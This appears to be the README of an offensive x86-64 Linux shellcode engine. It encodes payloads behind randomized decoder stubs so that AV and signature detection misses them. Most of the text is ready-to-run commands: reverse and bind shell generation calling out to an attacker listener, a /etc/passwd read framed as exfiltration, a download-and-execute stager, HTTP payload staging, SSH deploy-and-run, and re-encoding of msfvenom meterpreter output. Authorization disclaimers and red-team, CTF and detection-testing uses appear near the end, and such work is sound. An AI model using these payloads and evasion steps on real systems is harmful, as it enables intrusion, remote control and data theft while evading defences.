#001 // polymorphic shellcode engine // darksec.uk
A polymorphic shellcode engine for x86-64 Linux — built for authorized
penetration testing, CTF challenges, and learning how shellcode / encoders /
decoder stubs actually work at the byte level. Ships with a darksec.uk TUI.
Every build produces the same behavior from a different byte pattern: the payload is XOR-encoded (single or rolling multi-byte key) and wrapped in a decoder stub whose structure is randomized each run — register allocation, decode direction, loop-instruction form, GetPC/lea style, and injected junk. That mutating stub, not the key alone, is what defeats naive byte-signature matching.
| File | Purpose |
|---|---|
001 |
Launcher for the TUI (./001). |
tui.py |
#001 interactive TUI front-end. |
engine.py |
The engine: encode + emit a randomized decoder stub, assemble to raw shellcode; bad-char / rolling-key solver. |
alpha.py |
Alphanumeric encoder (--alpha): output entirely [0-9A-Za-z]. |
harness.c |
Local RWX test harness — maps the shellcode and jumps into it. |
alpha_harness.c |
Like harness.c but sets RCX = buffer first (alnum BufferRegister contract). |
gen_art.py |
Regenerates the banner art from the source PNG. |
payloads/execve_shell.asm |
Demo: execve("/bin//sh") — pops a shell. |
payloads/print_msg.asm |
Demo: benign write() to stdout — zero-risk. |
payloads/exit_lowbyte.asm |
Demo: exit(42), all bytes ≤ 0x7f — alphanumeric-friendly. |
payloads/bind_auth.asm |
Bind shell with hardcoded password auth (configurable). |
payloads/file_read.asm |
Read and output a file (default /etc/passwd). |
payloads/meterpreter_stager.asm |
Download-and-execute TCP stager for staged payloads. |
remote.py |
Four remote capabilities: handler (catch shells), HTTP staging, TLS, SSH deploy. |
REMOTE.md |
Full docs for remote.py subcommands. |
Reverse & bind TCP shells are generated in engine.py (parameterised by
--lhost/--lport), not stored as static files.
./001Menu-driven: pick a payload, set LHOST/LPORT, bad chars, key length, output format, then run the solver and optionally fire the result through the harness. Falls back to plain ASCII art when the terminal has no color.
gcc -o harness harness.c
# benign demo (safe to run anywhere)
python3 engine.py --payload print --out poly.bin
./harness poly.bin
# local shell demo
python3 engine.py --payload execve --out sh.bin
./harness sh.binBuilt-in, generated for your listener/target:
# reverse TCP shell -> your handler
python3 engine.py --payload reverse --lhost 10.10.14.5 --lport 443 --out rev.bin
# (catch it: python3 remote.py handler -l 0.0.0.0 -p 443)
# bind TCP shell on the target's 0.0.0.0:4444
python3 engine.py --payload bind --lport 4444 --out bind.bin
# (connect: nc <target> 4444)
# bind shell with hardcoded password auth (edit ASM to change password)
python3 engine.py --payload bind_auth --lport 4444 --out bind_auth.bin
# (nc <target> 4444, send "admin" as password)
# read a file to stdout (data exfil, change filename in ASM)
python3 engine.py --payload file_read --out read_passwd.bin
# (reads /etc/passwd by default; edit payloads/file_read.asm to change)Or bring your own inner payload — the engine polymorphs arbitrary shellcode:
# raw bytes from msfvenom (no msf encoder needed — this replaces it)
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=443 -f raw -o m.bin
python3 engine.py --infile m.bin --badchars '00,0a' --out m_poly.bin
# or paste raw hex (e.g. from pwntools.asm)
python3 engine.py --hex '4831f6...' --out custom.binFour real-world features for catching shells, staging payloads, and deployment:
# built-in handler (catch reverse / connect to bind)
python3 remote.py handler -l 0.0.0.0 -p 4444
# HTTP staging server (serves payload + prints fetch-and-exec stager)
python3 remote.py serve -f exe.bin -l 0.0.0.0 -p 8080
# TLS reverse-shell listener (self-signed cert auto-generated)
python3 remote.py tls-handler -l 0.0.0.0 -p 5555 --cert my.pem
# SSH deploy (upload + optionally run)
python3 remote.py deploy -f exe.bin -d user@10.10.14.5:/tmp/p.bin -r "chmod +x /tmp/p.bin && /tmp/p.bin"See REMOTE.md for full documentation. All four are verified working with real network traffic.
Output formats for dropping straight into an exploit:
python3 engine.py --payload execve --format c # C unsigned char[] array
python3 engine.py --payload execve --format python # pwntools-ready b"\x.." string
python3 engine.py --payload execve --format hex # flat hex--seed N makes a build reproducible; omit it for a fresh mutation each run.
Real exploits often forbid certain bytes in the payload (\x00 terminates
strings, \x0a/\x0d break line-based input, \x20 splits on whitespace).
--badchars makes the engine guarantee the entire output avoids them:
# null/newline/CR-free execve shellcode
python3 engine.py --payload execve --badchars '00,0a,0d' --out sh.bin
# [+] solved: 78 bytes, getpc stub, xor key 0x98, 1 attempt(s); output free of 0x00, 0x0a, 0x0d
# also forbid spaces, emit a drop-in C array
python3 engine.py --payload execve --badchars '00,0a,0d,20' --format cAccepted spec forms: 00,0a,0d, 00 0a 0d, \x00\x0a, 0x00,0x0a, or bare
000a0d. Tune the search budget with --max-attempts (default 400).
How it works — a naive decoder stub is itself full of null bytes
(lea [rel payload] and mov reg, imm32 both emit 0x00), so the solver:
- Picks an XOR key that maps every payload byte out of the bad set — a hard requirement XOR can't dodge, so it's searched first. It tries a single byte, then rolling 2/4/8-byte keys (see below).
- Selects a null-free stub. When
0x00is forbidden it switches from theleastub to a GetPC (jmp/call/pop) stub: the payload address comes from a backwardcall(negativerel32→ high0xFFbytes, no nulls) and the payload is reached by a registerjmp, so no null-bearing displacement is needed. - Loads the length null-free via an 8/16-bit
movafter anxor-zero, and — if the length itself is a bad byte — reaches it from a nearby clean value with a fewinc/dec. - Re-rolls register allocation, key bytes, and junk instructions until the assembled bytes are fully clean, then verifies the output byte-for-byte.
A single XOR key can only clear a bad-char set if some byte k maps every
payload byte out of the set at once. Wide bad-char sets make that impossible.
A rolling key k[0..n-1] (with data[i] ^= k[i % n]) splits the payload into
n independent residue classes — each a smaller sub-problem with its own key
byte — so far wider sets become solvable.
python3 engine.py --payload execve --badchars '<wide set>' # auto: tries 1,2,4,8
python3 engine.py --payload execve --keylen 4 # force a 4-byte key--keylen 0 (default) is automatic: single byte first, then 2/4/8. The rolling
decoder loads the key into a register and rors it 8 bits per iteration (the
key is repeated to fill 8 bytes so the rotation period matches, hence n ∈ {1,2,4,8}). If even an 8-byte rolling key can't clear the set, it fails fast.
Verified end-to-end: null-free (00,0a,0d) builds of execve, print, reverse
and bind shells all came out clean and executed correctly (reverse connected
back to a listener; bind accepted a client). A crafted 69-byte bad-char set
that defeats every single-byte key auto-engaged a 2-byte rolling key and still
produced a working shell.
For targets that only accept alphanumeric input (classic filtered-buffer
exploits), --alpha emits a blob whose every byte is in [0-9A-Za-z]:
python3 engine.py --payload exit --alpha # exit(42) demo -> alnum blob
# [+] alphanumeric: 105 bytes, all [0-9A-Za-z] (inner 8B)
# contract: RCX must point at the buffer on entry (test: ./alpha_harness out.bin)
# j0X0AajAX0Abj0X0Ac0Adj...
gcc -o alpha_harness alpha_harness.c
./alpha_harness out.bin ; echo $? # -> 42This is the hardest encoder. On x86-64 there is no alphanumeric backward
jump, no clean alphanumeric GetPC, and the only alnum ALU-write opcode is
xor (0x30). So the decoder is:
- Loop-free / unrolled (no backward jump exists), patching each byte in
place with a running key in
AL—push imm8; pop raxto (re)load the key, thenxor [rcx+disp8], alper byte. Every emitted byte is alnum. - RCX = buffer contract (no alnum GetPC): the caller leaves a register
pointing at the buffer — the standard "BufferRegister" assumption, and the
reality of most filtered-input crashes.
alpha_harness.csets it for testing. - Padded so the payload lands in the single contiguous alnum displacement run
0x61–0x7a, then execution falls through into the decoded payload.
xorof two alphanumeric bytes is always ≤0x7f, so this pure-XOR scheme can only encode payloads whose every byte is ≤0x7f. Typical shellcode has high bytes (0x89 mov,0x99 cqo, REX-prefixed forms), so those are rejected with a clear message. The built-inexitpayload is written entirely in low bytes to demonstrate the mechanism.- Single alnum displacement run ⇒ payload ≤ 26 bytes.
Verified: the exit(42) payload encodes to an all-[0-9A-Za-z] blob and, run
under the RCX contract, exits 42.
Producing high-byte shellcode alphanumerically is not just unimplemented here —
a self-contained one is impossible with the alphanumeric gadget set. Probing
every candidate encoding (nasm, checked byte-for-byte) shows:
| need | alnum gadget? |
|---|---|
| build high-byte values | ✅ imul r,[r+d],imm (69 …) |
| store a register | ✅ push r (50…) — but stack only |
| set RSP (pivot to buffer) | ❌ pop rsp=5c, xchg esp=94, mov rsp=48 89 cc |
| jump to reg/stack | ❌ jmp rsp=ff e4, ret=c3 — only forward jcc is alnum |
| write a high byte in place | ❌ only alnum ALU-write is xor w/ ≤0x7f source → bit 7 stays 0 |
So a restricted-charset decoder can only reach its payload by in-place decode +
fall-through, and in-place decode can't produce bytes ≥ 0x80. Tools like
ALPHA3 / msfvenom x64/…alpha run arbitrary payloads only by building on the
stack and relying on the exploit's own stack-pivot / landing register — i.e.
external context, not a self-contained blob. That belongs to the exploit, not the
encoder, so it's intentionally out of scope here rather than faked. For arbitrary
alphanumeric output in a real engagement, feed msfvenom -e x64/xor_dynamic /
x86/alpha_mixed with the appropriate BufferRegister.
--layers N nests the payload in N decoder stubs. At runtime the outermost stub
decodes the next, which decodes the next, … down to the payload — each stub
decodes its region then transfers to its start (the next stub), so the chain
falls through. Only the outermost layer honours --badchars (that's what the
target sees); inner blobs are intermediate.
python3 engine.py --payload execve --layers 3
# [+] 3 layers (inner->outer): getpc/0x2e -> lea/0xc2 -> lea/0xcc
python3 engine.py --payload reverse --lhost 10.10.14.5 --lport 443 \
--layers 4 --badchars '00,0a,0d'Each layer independently randomizes stub style / key, multiplying the number of
distinct byte patterns a signature must cover. Verified: 3-layer execve pops a
shell; a 4-layer null-free reverse shell stayed clean of 00,0a,0d and connected
back to a listener.
These are the legitimate engagement scenarios this kind of tooling supports — all assume a signed scope / rules of engagement authorizing the work:
- AV / EDR signature-evasion validation. Blue teams and detection engineers need to know whether their controls catch behavior or just known byte-strings. Feeding functionally-identical-but-byte-distinct variants at a lab endpoint measures whether a signature is brittle (pattern-only) or robust (behavioral/heuristic). This is a core deliverable in a red-team report: "your NIDS/AV flags stock msfvenom but misses a re-encoded variant — here's the evidence."
- IDS/IPS rule tuning. Generate a spread of variants to test Snort/Suricata rules against, so the SOC can tighten rules that only match a literal decoder stub.
- Exploit development under bad-char / size constraints. In a real exploit,
the vulnerable buffer often forbids certain bytes (
\x00,\x0a,\x20) or limits length. The--badcharssolver (see below) produces shellcode guaranteed free of the forbidden set — a standard exploit-dev step. - Payload-delivery testing for phishing/initial-access simulation. During an authorized red-team, confirming that a loader isn't caught purely on a static hash before it's ever used on target.
- Detection-engineering training data. Producing labeled families of mutated-but-equivalent samples to train/evaluate ML or YARA-based detectors.
- CTF pwn. Shrinking or bad-char-cleaning shellcode to fit a tight overflow, and learning encoder/decoder-stub construction hands-on.
Use this only against systems and in engagements you are explicitly
authorized to test — a written pentest scope, a CTF you're competing in, or
your own lab/VM. The execve demo spawns a real shell; the print demo is
inert and good for mechanics. harness.c maps memory RWX because
self-decoding shellcode rewrites itself in place — that's fine for a local
test rig but is itself the kind of thing your EDR should flag.
- more payloads (staged/meterpreter-style,
execvewith args, file read) - printable-ASCII (non-alnum) encoder — richer gadget set than alphanumeric
- x86 (32-bit) and ARM64 stub templates
(An arbitrary-payload alphanumeric mode is intentionally not on this list — see "Why there is no arbitrary-payload alphanumeric mode" above.)